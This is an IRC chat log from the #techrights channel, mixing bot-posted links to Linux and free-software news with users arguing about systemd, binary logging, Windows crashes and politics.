-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Software that respects #privacy (and often #freesw too) a growing business at sellouts' expense http://www.zdnet.com/article/silent-circle-targets-enterprise-with-world-first-privacy-ecosystem/ http://www.zdnet.com/article/nsa-busting-encryption-app-peerio-puts-privacy-first/Mar 14 04:04
-TechrightsBot-tr/#techrights--> www.zdnet.com | Silent Circle targets enterprise users with 'world first' privacy ecosystem | ZDNet [ http://ur1.ca/jwmyg ]Mar 14 04:04
-TechrightsBot-tr/#techrights--> www.zdnet.com | Meet the free encryption app that promises to put your privacy first | ZDNet [ http://ur1.ca/jwmyh ]Mar 14 04:04
schestowitzhttps://twitter.com/SinedioMD/status/576655044386385920Mar 14 04:06
-TechrightsBot-tr/#techrights-@SinedioMD: @schestowitz @snipeyhead Fedora and Debian for newbies... I don't think so :/Mar 14 04:06
schestowitzDepends how they're configuredMar 14 04:06
schestowitzhttps://twitter.com/snipeyhead/status/576655682985852928Mar 14 04:13
-TechrightsBot-tr/#techrights-@snipeyhead: @schestowitz @SinedioMD the newbies? ;)Mar 14 04:13
TweetTuxMachines@tuxmachines     Watch: Ubuntu at Mobile World Congress 2015Mar 14 04:27
TweetTuxMachines                  http://t.co/QoJTh3W3iV (linux.softpedia.com)Mar 14 04:27
TweetTuxMachines........................................  http://ur1.ca/jwn1dMar 14 04:27
-TechrightsBot-tr/#techrights-linux.softpedia.com | Watch: Ubuntu at Mobile World Congress 2015 - SoftpediaMar 14 04:27
TweetTuxMachines@tuxmachines     LXLE Linux 14.04.1 review - Champagne withoutMar 14 04:27
TweetTuxMachines                 bubbles http://t.co/dINzuFXHJ7Mar 14 04:27
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 04:27
TweetTuxMachines........................................  http://ur1.ca/jwn1eMar 14 04:27
-TechrightsBot-tr/#techrights-www.tuxmachines.org | LXLE Linux 14.04.1 review - Champagne without bubbles | Tux MachinesMar 14 04:27
TweetTuxMachines@tuxmachines     Plasma is my new favorite desktopMar 14 04:27
TweetTuxMachines                 http://t.co/es7gEtRbbh (www.tuxmachines.org)Mar 14 04:27
TweetTuxMachines........................................  http://ur1.ca/jwn1hMar 14 04:27
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Plasma is my new favorite desktop | Tux MachinesMar 14 04:27
schestowitzhttps://twitter.com/eRadical/status/576661045906948097Mar 14 04:29
-TechrightsBot-tr/#techrights-@eRadical: @SinedioMD @schestowitz @snipeyhead yes Fedora. My mother switched from Windows to Fedora without pain.Mar 14 04:29
schestowitzhttps://joindiaspora.com/posts/5751344Mar 14 04:30
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Crowdfund campaign adds signed PDFs to #LibreOffice https://joinup.ec.europa.eu/node/139295 "signatures in PDF documents is now included in LibreOffice"Mar 14 04:30
schestowitz"This is great news! LibreOffice is great and in my opinion would be dominating as the primary office suite if Microsoft didn't have deep pockets and hadn't spent the 90's building it's office monopoly."Mar 14 04:30
-TechrightsBot-tr/#techrights--> joinup.ec.europa.eu | Crowdfund campaign adds signed PDFs to LibreOffice | JoinupMar 14 04:30
schestowitz"That's great to hear!"Mar 14 04:30
schestowitzhttps://joindiaspora.com/posts/5756895Mar 14 04:30
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: #Arietta G25 – The latest Embedded Linux Board http://www.open-electronics.org/arietta-g25-the-last-embedded-linux-board/ #linuxMar 14 04:30
schestowitz"How hard would it be to interface this thing to a CAN bus?"Mar 14 04:30
-TechrightsBot-tr/#techrights--> www.open-electronics.org | Arietta G25 – The latest Embedded Linux Board | Open Electronics [ http://ur1.ca/jwn21 ]Mar 14 04:30
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schestowitzhttps://twitter.com/gravax/status/576668751539478528Mar 14 05:00
-TechrightsBot-tr/#techrights-@gravax: "@schestowitz: Consumers unaware that EU rule offers 2-year product guarantee http://t.co/G9cF0qFTki #eu #europe" Now We know... :-)Mar 14 05:00
-TechrightsBot-tr/#techrights--> yle.fi | Consumers unaware that EU rule offers 2-year product guarantee | Yle Uutiset | yle.fiMar 14 05:00
schestowitz> http://webmink.com/2015/03/02/new-job/Mar 14 05:03
-TechrightsBot-tr/#techrights-webmink.com | New Role At WiPro | Wild WebminkMar 14 05:03
schestowitz> Mar 14 05:03
schestowitz> WTFMar 14 05:03
schestowitzThat's OK. They're looking to change. Other firms in India do too.Mar 14 05:03
schestowitz> http://undeadly.org/cgi?action=article&sid=20150303075848&mode=expanded&count=2Mar 14 05:04
-TechrightsBot-tr/#techrights-undeadly.org | Ted Unangst: Improving Browser Security [ http://ur1.ca/jwn6y ]Mar 14 05:04
schestowitz> Mar 14 05:04
schestowitz> sent earlier a link to the message, but this link is probably betterMar 14 05:04
TweetTuxMachines@tuxmachines     Google Code Shutting DownMar 14 05:24
TweetTuxMachines                 http://t.co/2asHOcGhGw (www.tuxmachines.org)Mar 14 05:24
TweetTuxMachines........................................  http://ur1.ca/jwna5Mar 14 05:24
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Google Code Shutting Down | Tux MachinesMar 14 05:24
TweetTuxMachines@tuxmachines     The Difference Between Window Managers andMar 14 05:24
TweetTuxMachines                 Desktop Environments http://t.co/6kPRzA2tiKMar 14 05:24
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 05:24
TweetTuxMachines........................................  http://ur1.ca/jwna7Mar 14 05:24
-TechrightsBot-tr/#techrights-www.tuxmachines.org | The Difference Between Window Managers and Desktop Environments | Tux MachinesMar 14 05:24
TweetTuxMachines@tuxmachines     5 best Linux distros for beginners and newbiesMar 14 05:24
TweetTuxMachines                 http://t.co/P8S27puu2F (www.tuxmachines.org)Mar 14 05:24
TweetTuxMachines........................................  http://ur1.ca/jwna8Mar 14 05:24
-TechrightsBot-tr/#techrights-www.tuxmachines.org | 5 best Linux distros for beginners and newbies | Tux MachinesMar 14 05:24
schestowitzhttps://joindiaspora.com/posts/5753186Mar 14 05:45
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: #Nokia CEO: We Have To Get Rid Of Net Neutrality, Otherwise Self-Driving Cars Will Keep On Crashing Into Each Other https://www.techdirt.com/blog/netneutrality/articles/20150302/07565730182/nokia-ceo-we-have-to-get-rid-net-neutrality-otherwise-self-driving-cars-will-keep-crashing-into-each-other.shtmlMar 14 05:45
-TechrightsBot-tr/#techrights--> www.techdirt.com | Nokia CEO: We Have To Get Rid Of Net Neutrality, Otherwise Self-Driving Cars Will Keep On Crashing Into Each Other | Techdirt [ http://ur1.ca/jwndo ]Mar 14 05:45
schestowitz"yeah, fuck those sensors, they're only in the way of global google-earth-like realtime surveillance"Mar 14 05:45
schestowitzhttps://joindiaspora.com/posts/5739428Mar 14 05:46
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: My wife has just witnessed two #apple #iphone devices siezed, taken to the back (repsumably for copying), then returned in Frankfurt AirportMar 14 05:46
schestowitz"The idea is fighting for our freedom, but becoming a marthyr that nobody appreciates is of no use. If people starts traveling with no electronics or factory-reset ones they might get the message and people will lose nothing. And if you really want to do something you can press and even go to court, but better doing that in a good moment rather than while on transit back to home."Mar 14 05:46
schestowitzTrue, and sad...Mar 14 05:47
schestowitzhttps://joindiaspora.com/posts/5740809Mar 14 05:48
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: How #Intel and PC makers prevent you from modifying your laptop's firmware http://denisyegonmaina.blogspot.ca/2015/03/how-intel-and-pc-makers-prevent-you.html avoid #x86Mar 14 05:48
-TechrightsBot-tr/#techrights--> denisyegonmaina.blogspot.ca | my tecnews: How Intel and PC makers prevent you from modifying your laptop's firmware [ http://ur1.ca/ju4k4 ]Mar 14 05:48
schestowitz"Mar 14 05:48
schestowitz"Intel and Boot Guard don’t absolutely require hardware manufacturers to lock the computer to only using manufacturer-signed firmware, but every major PC maker does anyway. "Mar 14 05:48
schestowitzTime to stop buying from major PC makers? My last PC was a white box AMD from a local retailer and my next one very likely will be the same.Mar 14 05:48
schestowitz"Mar 14 05:48
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cubexyzthe firmware situation is mostly improving... since we have Lemote, Thinkpad X60, chromebooks/boxes, etcMar 14 05:56
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TweetTuxMachines@tuxmachines     "Jolla is working with partners to bring aMar 14 06:34
TweetTuxMachines                 toughened version of its Sailfish OS to a rangeMar 14 06:34
TweetTuxMachines                 of hardware."  http://t.co/fpdWqrIiLqMar 14 06:34
TweetTuxMachines                 (www.theinquirer.net)Mar 14 06:34
TweetTuxMachines........................................  http://ur1.ca/jwnjtMar 14 06:34
-TechrightsBot-tr/#techrights-www.theinquirer.net | MWC: Jolla pitches Sailfish Secure OS as Europe's only safe mobile option- The InquirerMar 14 06:34
TweetTuxMachines@tuxmachines     Login screen in Fedora 22 Workstation usesMar 14 06:34
TweetTuxMachines                 Wayland  http://t.co/NYXzlVVfHiMar 14 06:34
TweetTuxMachines                 (fedoramagazine.org)Mar 14 06:34
TweetTuxMachines........................................  http://ur1.ca/jwnjuMar 14 06:34
-TechrightsBot-tr/#techrights-fedoramagazine.org | Login screen in Fedora 22 Workstation uses Wayland | Fedora MagazineMar 14 06:34
*TweetTuxMachines @miniputing favourited 'Can We Really Trust Linux? http://t.co/SYZEf4HzbU'Mar 14 07:10
*TweetTuxMachines @miniputing favourited 'Raspberry Pi 2: Raspbian (ARMv6) v Linaro (ARMv7)...'Mar 14 07:10
-TechrightsBot-tr/#techrights-www.makeuseof.com | Can We Really Trust Linux?Mar 14 07:10
XRevan86uBlock for Firefox for Android released o_0.Mar 14 07:34
XRevan86also I see it's named uBlock now instead of µBlockMar 14 07:35
TweetTuxMachines@tuxmachines     Testing Started for Linux Mint Debian Edition,Mar 14 07:39
TweetTuxMachines                 Systemd Implementation Not Decided YetMar 14 07:39
TweetTuxMachines                 http://t.co/vJz9DRe8M0 (news.softpedia.com)Mar 14 07:39
TweetTuxMachines........................................  http://ur1.ca/jwnsqMar 14 07:39
-TechrightsBot-tr/#techrights-news.softpedia.com | Testing Started for Linux Mint Debian Edition, Systemd Implementation Not Decided Yet - SoftpediaMar 14 07:39
TweetTuxMachines@tuxmachines     Finally Kde Plasma 5.2 on my Arch LinuxMar 14 07:39
TweetTuxMachines                 http://t.co/DG8WNVAQWs (fasterland.net)Mar 14 07:39
TweetTuxMachines........................................  http://ur1.ca/jwnsrMar 14 07:39
-TechrightsBot-tr/#techrights-fasterland.net | Finally Kde Plasma 5.2 on my Arch Linux - FasterlandMar 14 07:39
TweetTuxMachines@tuxmachines     GNOME’s Mutter Window and Compositing ManagerMar 14 07:39
TweetTuxMachines                 Updates Wayland SupportMar 14 07:39
TweetTuxMachines                  http://t.co/e7mrnSuO4s (linux.softpedia.com)Mar 14 07:39
TweetTuxMachines........................................  http://ur1.ca/jwnsvMar 14 07:39
-TechrightsBot-tr/#techrights-linux.softpedia.com | GNOME’s Mutter Window and Compositing Manager Updates Wayland Support - SoftpediaMar 14 07:39
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TweetTuxMachines@tuxmachines     GNOME Photos Gets a Bugfix Update, Just in TimeMar 14 10:56
TweetTuxMachines                 for GNOME 3.16 http://t.co/0xZiHjbs8bMar 14 10:56
TweetTuxMachines                 (linux.softpedia.com)Mar 14 10:56
-TechrightsBot-tr/#techrights-linux.softpedia.com | GNOME Photos Gets a Bugfix Update, Just in Time for GNOME 3.16 - SoftpediaMar 14 10:56
TweetTuxMachines........................................  http://ur1.ca/jwotyMar 14 10:56
TweetTuxMachines@tuxmachines     Links 14/2/2015: End of Google Code, Split ofMar 14 10:56
TweetTuxMachines                 Google+ http://t.co/dkcYcJD7kb (techrights.org)Mar 14 10:56
TweetTuxMachines........................................  http://ur1.ca/jwou0Mar 14 10:56
-TechrightsBot-tr/#techrights-techrights.org | Links 14/2/2015: End of Google Code, Split of Google+ | TechrightsMar 14 10:57
TweetTuxMachines@tuxmachines     Week in Techrights http://t.co/9DSFNqfffZMar 14 11:07
TweetTuxMachines                 (www.tuxmachines.org) still catching up, fullMar 14 11:07
TweetTuxMachines                 articles coming upMar 14 11:07
TweetTuxMachines........................................  http://ur1.ca/jwowxMar 14 11:07
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Week in Techrights | Tux MachinesMar 14 11:07
MinceRgeekingsMar 14 11:07
TweetTuxMachines@tuxmachines     "many AAA game titles were confirmed to come toMar 14 11:07
TweetTuxMachines                 Linux/SteamOS in this year."Mar 14 11:07
TweetTuxMachines                 http://t.co/XANTgyEmCj (opensource.com)Mar 14 11:07
TweetTuxMachines........................................  http://ur1.ca/jwox1Mar 14 11:07
-TechrightsBot-tr/#techrights-opensource.com | Open gaming news from this year's Game Developers Conference | Opensource.comMar 14 11:07
TweetTuxMachines@tuxmachines     Puppy Linux-Based Quirky Distribution ReachesMar 14 11:07
TweetTuxMachines                 Version 7.0, Dubbed April - GalleryMar 14 11:07
TweetTuxMachines                 http://t.co/fLmpUCgRJn (news.softpedia.com)Mar 14 11:07
TweetTuxMachines........................................  http://ur1.ca/jwox2Mar 14 11:07
-TechrightsBot-tr/#techrights-news.softpedia.com | Puppy Linux-Based Quirky Distribution Reaches Version 7.0, Dubbed April - Gallery - SoftpediaMar 14 11:07
TweetTuxMachines@tuxmachines     The Tremendous Features Of Fedora 22Mar 14 11:15
TweetTuxMachines                 http://t.co/9vKZEqTze3 (www.phoronix.com)Mar 14 11:15
TweetTuxMachines........................................  http://ur1.ca/jwoygMar 14 11:15
-TechrightsBot-tr/#techrights-www.phoronix.com | The Tremendous Features Of Fedora 22 - PhoronixMar 14 11:16
TweetTuxMachines@tuxmachines     Hands-on reviews of Ubuntu phonesMar 14 11:16
TweetTuxMachines                 http://t.co/9vhklTI2TW (www.bbc.com)Mar 14 11:16
TweetTuxMachines                 http://t.co/HiBALhmf79 (www.omgubuntu.co.uk)Mar 14 11:16
TweetTuxMachines                 http://t.co/n9OF7oFOJE (www.phonearena.com)Mar 14 11:16
-TechrightsBot-tr/#techrights-www.bbc.com | BBC News - Hands-on with an Ubuntu phone at MWCMar 14 11:16
TweetTuxMachines........................................  http://ur1.ca/jwoyhMar 14 11:16
-TechrightsBot-tr/#techrights-www.omgubuntu.co.uk | Ubuntu Phone Reviewed by Spiegel OnlineMar 14 11:16
-TechrightsBot-tr/#techrights-www.phonearena.com | Hands-on with the first Ubuntu phone: Say hello to the bq Aquaris 4.5 Ubuntu Edition | PhoneArena reviewsMar 14 11:16
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schestowitzhttps://joindiaspora.com/posts/5710991Mar 14 12:05
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Nmap—Not Just for Evil! http://www.linuxjournal.com/content/nmap%E2%80%94not-just-evil not just for government gangs like #gchq and #nsa eitherMar 14 12:05
-TechrightsBot-tr/#techrights--> www.linuxjournal.com | Nmap—Not Just for Evil! | Linux Journal [ http://ur1.ca/jwp71 ]Mar 14 12:05
schestowitz""Also for Trinity: http://nmap.org/movies/Mar 14 12:05
-TechrightsBot-tr/#techrights-nmap.org | Movies Featuring the Nmap Security ScannerMar 14 12:05
schestowitz"Mar 14 12:05
schestowitzhttps://joindiaspora.com/posts/5741569Mar 14 12:05
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Now that corporations control the Linux Foundation http://uk.businessinsider.com/linux-foundation-reigns-in-linus-torvalds-2015-3?r=US watch the Microsoft boosters exploiting thisMar 14 12:05
schestowitz"Or the #gnu #fsf #libre #foss community ;)"Mar 14 12:05
-TechrightsBot-tr/#techrights--> uk.businessinsider.com | Linux Foundation reigns in Linus Torvalds - Business Insider [ http://ur1.ca/jwp77 ]Mar 14 12:05
schestowitz"Mar 14 12:05
schestowitzI really would like the GNU Project come with a new OS, with Hurd as kernel and no systemd.Mar 14 12:05
schestowitzMore options never hurt.Mar 14 12:05
schestowitz"Mar 14 12:05
schestowitzhttps://joindiaspora.com/posts/5753021Mar 14 12:06
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: #Privacy advocates try to keep ‘creepy,’ ‘eavesdropping’ Hello Barbie from hitting shelves http://www.washingtonpost.com/blogs/the-switch/wp/2015/03/11/privacy-advocates-try-to-keep-creepy-eavesdropping-hello-barbie-from-hitting-shelves/Mar 14 12:06
-TechrightsBot-tr/#techrights--> www.washingtonpost.com | Privacy advocates try to keep ‘creepy,’ ‘eavesdropping’ Hello Barbie from hitting shelves - The Washington Post [ http://ur1.ca/jwp7h ]Mar 14 12:06
schestowitz"If your child is doing nothing wrong, your child should have nothing to be concerned about."Mar 14 12:06
schestowitz"sounds like fun, lets try to exploit the protocol"Mar 14 12:06
schestowitzhttps://joindiaspora.com/posts/5607175Mar 14 12:07
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Removing #Systemd from #Debian (and still running a desktop) http://lkcl.net/reports/removing_systemd_from_debian/Mar 14 12:07
schestowitz"I've gotta go with Roy on this one. Nano, all the way."Mar 14 12:07
-TechrightsBot-tr/#techrights--> lkcl.net | Removing Systemd from Debian (and still running a desktop) [ http://ur1.ca/jqrue ]Mar 14 12:07
schestowitz"Nano sucks. I use pencil. :P"Mar 14 12:07
schestowitzIs that an application?Mar 14 12:07
schestowitzhttps://twitter.com/granitevoter/status/576776180872937472Mar 14 12:07
-TechrightsBot-tr/#techrights-@granitevoter: .@schestowitz @MishiChoudhary My copyright WTF was famous buildings trying to control their use in movies.Mar 14 12:07
schestowitzhttps://twitter.com/FrankViewZ/status/576776450877046784Mar 14 12:08
-TechrightsBot-tr/#techrights-@FrankViewZ: @schestowitz Why are white people expats when the rest of us are immigrants? Stop using this racist white supremacist view - S. AsheMar 14 12:08
schestowitzI don't use this white power term (expat), some still do...Mar 14 12:08
*TweetTuxMachines @alberto1you favourited 'Hands-on reviews of Ubuntu phones http://t.co/9vhklTI2TW http://t.co/HiBALhmf79 http://t.co/n9OF7oFOJE'Mar 14 12:19
TweetTuxMachines@tuxmachines     Manjaro #XFCE 0.9.0-pre4 edition releasedMar 14 12:19
TweetTuxMachines                 https://t.co/bMlptiVRKc (manjaro.github.io)Mar 14 12:19
TweetTuxMachines........................................  http://ur1.ca/jwp9uMar 14 12:19
-TechrightsBot-tr/#techrights-manjaro.github.io | Manjaro XFCE 0.9.0-pre4 edition released – Manjaro Linux – Enjoy the simplicityMar 14 12:19
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TweetTuxMachines@tuxmachines     OpenELEC 5.0.6 released http://t.co/u7AmvVdbZ7Mar 14 12:31
TweetTuxMachines                 (openelec.tv)Mar 14 12:31
TweetTuxMachines........................................  http://ur1.ca/jwpboMar 14 12:31
-TechrightsBot-tr/#techrights-openelec.tv | OpenELEC Mediacenter - OpenELEC 5.0.6 releasedMar 14 12:31
TweetTuxMachines@tuxmachines     Leftovers: Screenshots http://t.co/W1T6xbf3MaMar 14 12:31
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 12:31
TweetTuxMachines........................................  http://ur1.ca/jwpbrMar 14 12:31
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Screenshots | Tux MachinesMar 14 12:31
TweetTuxMachines@tuxmachines     Leftovers: Gaming http://t.co/BiDtglnK4UMar 14 12:31
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 12:31
TweetTuxMachines........................................  http://ur1.ca/jwpbsMar 14 12:31
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Gaming | Tux MachinesMar 14 12:31
__martin__"non-invasively obtaining it by studying the electromagnetic emissions of — and the amount of power used by — the iPhone’s processor while encryption is being performed"Mar 14 12:48
__martin__- GID key extractionMar 14 12:48
__martin__sometimes I just wonderMar 14 12:50
__martin__how does to top 1% communicate with one another?Mar 14 12:50
__martin__maybe they've got quantum crypto chips.. who knowsMar 14 12:51
__martin__the*Mar 14 12:52
__martin__(or just using fake homeless id and regular market tech)Mar 14 12:53
TweetTuxMachines@tuxmachines     today's howtos http://t.co/mkgmxVrCxBMar 14 13:09
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 13:09
TweetTuxMachines........................................  http://ur1.ca/jwpi9Mar 14 13:09
-TechrightsBot-tr/#techrights-www.tuxmachines.org | today's howtos | Tux MachinesMar 14 13:09
TweetTuxMachines@tuxmachines     Week in Techrights http://t.co/FWsxabasURMar 14 13:09
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 13:09
TweetTuxMachines........................................  http://ur1.ca/jwpiaMar 14 13:09
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Week in Techrights | Tux MachinesMar 14 13:09
TweetTuxMachines@tuxmachines     OpenELEC, Manjaro, Puppy http://t.co/4vYPrQt3jCMar 14 13:09
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 13:09
TweetTuxMachines........................................  http://ur1.ca/jwpicMar 14 13:09
-TechrightsBot-tr/#techrights-www.tuxmachines.org | OpenELEC, Manjaro, Puppy | Tux MachinesMar 14 13:09
TweetTuxMachines@tuxmachines     "The latest Ozon OS "Hydrogen" beta is based onMar 14 13:09
TweetTuxMachines                 Fedora 21" http://t.co/6gZpvyD9OtMar 14 13:09
TweetTuxMachines                 (www.webupd8.org)Mar 14 13:09
-TechrightsBot-tr/#techrights-www.webupd8.org | Ozon OS `Hydrogen` Beta Available For Download ~ Web Upd8: Ubuntu / Linux blogMar 14 13:09
TweetTuxMachines........................................  http://ur1.ca/jwpidMar 14 13:09
TweetTuxMachines@tuxmachines     Meizu M1 Note confirmed to go internationalMar 14 13:36
TweetTuxMachines                 after Ubuntu Touch-powered variantMar 14 13:36
TweetTuxMachines                 http://t.co/5CiGML5Di7 (www.ibtimes.co.uk)Mar 14 13:36
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schestowitzhttps://twitter.com/kstallett/status/576831001172828161Mar 14 16:53
-TechrightsBot-tr/#techrights-@kstallett: @schestowitz Looks as good as elementary yet without the nasty blog posts.Mar 14 16:53
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MinceRhttp://i.imgur.com/Jo7aaup.pngMar 14 17:43
MinceRhttp://barbwire.wpengine.netdna-cdn.com/wp-content/uploads/2014/10/statism.jpgMar 14 17:49
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DaemonFChttp://population.io/#/1984/04/11/male/United%20States/expectancyMar 14 18:01
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DaemonFC47.5 years left Mar 14 18:01
DaemonFC39.3 if I was born and lived in HungaryMar 14 18:01
MinceRunless we factor in that the nazis will wreck the economy until 2025Mar 14 18:02
DaemonFCApparently, our politicians in the US haven't succeeded in their mission to turn us into a third world country yet.Mar 14 18:02
MinceRif that's their goal, they should learn for orban, matolcsy & co.Mar 14 18:02
MinceRalso, i think marx wrote a book about how to destroy the economy of a countryMar 14 18:02
DaemonFCMinceR, Even Indiana's governor, who is considered to be a right-wing extremist, eventually went ahead and expanded healthcare for the poor.Mar 14 18:03
DaemonFCUsing the federal healthcare funding.Mar 14 18:03
DaemonFCThat caught me by surprise.Mar 14 18:03
DaemonFCI think he's pretending to be further to the right than he actually is.Mar 14 18:04
MinceRs/for/from/Mar 14 18:04
DaemonFCCounting on the fact that more people will see his sound bites on the evening news than will pay attention to what he actually does.Mar 14 18:04
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DaemonFCSome of them have noticed though.Mar 14 18:05
DaemonFCThey're angry that he expanded Medicaid and eventually complied with the court order legalizing gay marriage here.Mar 14 18:05
*MinceR is watching the FSF transform into the Free Windows FoundationMar 14 18:05
MinceRoops, Gratis Windows Foundation.Mar 14 18:05
DaemonFCI've been using Windows 8.1 for a while.Mar 14 18:06
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DaemonFC7 months and 1 BSOD.Mar 14 18:06
MinceRlucky, i guessMar 14 18:06
DaemonFCIt's crashing less than it used to.Mar 14 18:06
DaemonFCI averaged about 1-2 BSODs per month with XP.Mar 14 18:07
DaemonFCAnd they happened just about every day with Windows 98.Mar 14 18:07
DaemonFCThe number of patches from Windows update has been ridiculous though.Mar 14 18:07
DaemonFCIf you break it down into number of bugs fixed, then there's probably been well over 1,000 patches against Windows 8.1 RTM so far.Mar 14 18:08
DaemonFCThey seem to get into this cycle where a Windows release starts getting pretty reliable just before there's a new one out.Mar 14 18:09
DaemonFCThen it starts all over again. New features with lots of bugs.Mar 14 18:09
DaemonFCEveryone seems to know that until the first service pack is out, you're a guinea pig.Mar 14 18:10
DaemonFCHow is the FSF promoting Windows?Mar 14 18:10
DaemonFCThey don't even promote most Linux distributions because of a few nits here and there.Mar 14 18:10
MinceRby accusing people who dare say that the design of systemd (which adops plenty from windows) is badMar 14 18:10
MinceRalso, by promoting systemdMar 14 18:11
MinceRpeople will have no reason to switch from winblows to the Linux-based OS FSF supports if it is just as badMar 14 18:11
MinceRi hope mattl doesn't really represent the FSFMar 14 18:11
XRevan86What I am reading?Mar 14 18:11
MinceRdunnoMar 14 18:12
schestowitzhttps://joindiaspora.com/posts/5746616Mar 14 18:13
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: In #uk we're often asked to give ID (debit/credit/Nectar card etc.) to buy food, but #bbc focuses on #venezuela http://www.bbc.com/news/world-latin-america-31791878Mar 14 18:13
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schestowitz"Come to Venezuela to speak properly and not based on assumptions or stupid conspiracy theories."Mar 14 18:13
XRevan86MinceR: What exactly did systemd adopt from Windows and why is it so much worse than it?Mar 14 18:13
schestowitzhttps://joindiaspora.com/posts/5758567Mar 14 18:14
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Problems that #gnu #linux users never have http://dilbert.com/strip/2015-03-01Mar 14 18:14
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MinceRXRevan86: the total lack of cohesion and transparency; binary logging; lock-in; purposeful attacks on competitorsMar 14 18:14
schestowitz"Mar 14 18:14
schestowitzDo you mean Windows Genuine Advantage?Mar 14 18:14
MinceRfor a startMar 14 18:14
schestowitzhttps://en.wikipedia.org/wiki/Windows_Genuine_AdvantageMar 14 18:14
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schestowitzHow can this be bad? Look at the name: Genuine Advantage. ADVANTAGE! This is so good that you may have in Linux too:Mar 14 18:14
schestowitzhttp://www.linuxgenuineadvantage.org/Mar 14 18:14
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schestowitz"Mar 14 18:14
MinceRXRevan86: cryptic undocumented blobs tied tightly togetherMar 14 18:14
MinceRoh, also, doing "magic" behind the user's backMar 14 18:15
XRevan86> purposeful attacks on competitorsMar 14 18:15
XRevan86uhm…Mar 14 18:15
XRevan86> binary loggingMar 14 18:15
XRevan86optional, also somewhat justifiedMar 14 18:15
MinceRno, not optionalMar 14 18:15
MinceRall you can do is pull the reconstituted log texts out on the other end and handle themMar 14 18:16
MinceRit's still subject to all sorts of journald bugs for no good reasonMar 14 18:16
MinceRalso, i'd like to see what justifies making logs unhandleable and highly prone to corruptionMar 14 18:16
MinceRi know dave cutler was also stupid enough to do binary loggingMar 14 18:16
XRevan86MinceR: rootkits log alteration proofMar 14 18:16
MinceR1. that doesn't need binary loggingMar 14 18:17
MinceR2. it's not alteration-proofMar 14 18:17
XRevan862. it isMar 14 18:17
MinceRin fact, systemd is a prime target for backdoors as it isMar 14 18:17
XRevan86I thought it's Linux.Mar 14 18:17
MinceRit's cryptic, overly complex and undocumentedMar 14 18:17
MinceRapparently the Linux folks make it too difficult for the NSA to push backdoors inMar 14 18:18
MinceRthey pay too much attention to what's integratedMar 14 18:18
MinceRred hat on the other hand gladly helps the nsa for moneyMar 14 18:18
MinceRin fact, passing the logs through that black box makes for a good place to alter them.Mar 14 18:18
DaemonFCRyan FarmerMar 14 18:21
DaemonFCJust now · Mar 14 18:21
DaemonFCOh, there's an option to add a reminder about your projected date of death to your calendar..... "Remind me later." "Remind me later." "Remind me later."....... B-)Mar 14 18:21
MinceRalso, if systemd was as great as its apologists keep claiming, maybe they shouldn't try to force it down everyone's throatsMar 14 18:22
MinceRif it's so great, surely people will adopt it based on its meritsMar 14 18:23
MinceRthen again, letting people choose is not the Great Exemplars' (m$'s and crApple's) wayMar 14 18:23
XRevan86> cryptic,undocumentedMar 14 18:25
XRevan86uhm, why do you think so?Mar 14 18:25
MinceRi've seen their codeMar 14 18:25
MinceRit's disgusting.Mar 14 18:25
MinceRalso, they hide stuff in binaries instead of using shell scripts like sane init systems doMar 14 18:26
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DaemonFCJ. R. Bob Dobbs (formerly ZOMG Pink Ponies) says:Mar 14 18:26
DaemonFCYeah. I think that some of the Republicans in office really died 20 years ago and the Koch Brothers have them pickled in formaldehyde and stuffed with animatronics.Mar 14 18:26
DaemonFCThat's just my theory.Mar 14 18:26
XRevan86I've seen OpenRC code, it's disgusting, too.Mar 14 18:26
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MinceRcomments are rare in their code, especially comments that explain what a function is supposed to be doingMar 14 18:26
MinceRalso, they purposefully add APIs that are not stable, not documented and telling you that you're not supposed to use themMar 14 18:27
MinceRwhile they use it in their codeMar 14 18:27
MinceRdoes this remind you of the practices of another company?Mar 14 18:27
XRevan86> also, they hide stuff in binaries instead of using shell scripts like sane init systems doMar 14 18:28
XRevan86"hide" is not a very proper word since systemd is FOSS. Anyway, bash is quite… slow and very cryptic so the way to write everything in bash is not effective either.Mar 14 18:28
MinceRyeah, technically freeMar 14 18:28
XRevan86> does this remind you of the practices of another company?Mar 14 18:28
XRevan86Linux Foundation?Mar 14 18:28
MinceRthere are plenty of shells beside bashMar 14 18:28
MinceRi was thinking of microsoftMar 14 18:28
XRevan86MinceR: bash and stuff alike is not designed for anything a bit complicated.Mar 14 18:30
XRevan86and initscripts are made complicated anywayMar 14 18:30
MinceRinitscripts don't have to be complicatedMar 14 18:30
MinceRnot every OS is debian.Mar 14 18:30
MinceRhttp://homepage.ntlworld.com./jonathan.deboynepollard/FGA/run-scripts-and-service-units-side-by-side.htmlMar 14 18:30
-TechrightsBot-tr/#techrights-homepage.ntlworld.com. | FGA: A side-by-side look at run scripts and service units [ http://ur1.ca/jwszf ]Mar 14 18:31
MinceRalso, bash doesn't die horribly if you have an extra line break at the end of the file or somethingMar 14 18:31
XRevan86MinceR: These uncomplicated initscripts I see on this page are all unfunctional.Mar 14 18:32
MinceRhow so?Mar 14 18:32
XRevan86MinceR: How to restart fetchmail via runit?Mar 14 18:32
MinceRi don't know runit well enough, i suppose it kills fetchmail and then starts itMar 14 18:33
XRevan86systemd service on this page can do that.Mar 14 18:33
